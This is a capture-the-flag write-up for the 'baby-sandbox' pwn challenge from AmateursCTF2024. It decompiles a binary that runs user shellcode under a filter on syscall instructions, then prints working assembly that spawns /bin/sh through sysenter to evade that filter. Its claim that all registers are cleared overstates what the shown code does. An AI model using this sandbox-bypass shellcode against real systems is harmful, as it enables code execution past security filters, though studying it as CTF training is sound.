---
# System prepended metadata

title: AmateursCTF2024/pwn/baby-sandbox

---

# pwn/baby-sandbox
Here is the challenge code after decompilation using ghidra:
```clike
void main(void)
{
  int iVar1;
  void *memory;
  long lVar2;
  uint local_14;
  
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  memory = mmap((void *)0x1337000,0x1000,3,0x100022,-1,0);
  if (memory == (void *)0xffffffffffffffff) {
    errx(1,&DAT_00102004);
  }
  printf("\x1b[38;2;255;255;255m> \x1b[0m");
  fread(memory,1,0x1000,stdin);
  for (local_14 = 0; local_14 < 0xfff; local_14 = local_14 + 1) {
    if ((*(short *)((long)memory + (long)(int)local_14) == 0x50f) ||
       (*(short *)((long)memory + (long)(int)local_14) == -0x7f33)) {
      errx(1,&DAT_00102033);
    }
  }
  iVar1 = mprotect(memory,0x1000,5);
  if (iVar1 < 0) {
    errx(1,&DAT_00102051);
  }
  lVar2 = syscall(0x9e,0x1002,0);
  if (lVar2 < 0) {
    errx(1,&DAT_0010206a);
  }
  lVar2 = syscall(0x9e,0x1001,0);
  if (lVar2 < 0) {
    errx(1,&DAT_00102088);
  }
                    /* WARNING: Could not recover jumptable at 0x0010138d. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  (*(code *)memory)(0x1337133713371337,0x1337133713371337,0x1337133713371337,0x1337133713371337,
                    0x1337133713371337,0x1337133713371337);
  return;
}
```
Basically, we send an arbitrary piece of code for it to be executed at fixed address 0x1337000 with the following restriction:
1. Our code cannot contains the bytes pattern 0x50f and 0x804d(-0x7f33) which means that we cannot use `int 0x80` and `syscall` instruction.
2. All registers, including even segment register fs and gs are cleared to constant value. This is done by the following snippet of code:
```clike
lVar2 = syscall(0x9e,0x1002,0);
if (lVar2 < 0) {
errx(1,&DAT_0010206a);
}
lVar2 = syscall(0x9e,0x1001,0);
if (lVar2 < 0) {
errx(1,&DAT_00102088);
}
```
3. The page allocated to store our code has only read and execute permission so no sneaky self-modifying code.

## Solution
Turns out the `sysenter` instruction can also be used to make a system call. This is introduced by intel in 32 bit mode and is still supported by intel CPU in 64 bit mode. This method of making a syscall is not actually officially supported on linux in 64 bit mode, but it still works, with the caveat you would call into the 32 bit entry point for system call. This means that you would have to follow the 32 bit linux syscall interface instead of 64 bit syscall interface. Anyway, the shellcode I come up with is:
```asm
BITS 64
ORG 0x1337000

mov rbp, stack_top
mov rsp, stack_top

mov rax, 0xb
mov rbx, bin_sh_str
xor rcx, rcx
xor rdx, rdx
sysenter

bin_sh_str:
db "/bin/sh", 0

dq 0x0
dq 0x0
dq 0x0
dq 0x0
dq 0x0
dq 0x0
dq 0x0
dq 0x0
stack_top:
```
It also turns out that you need to set up a somewhat sane stack before making the syscall.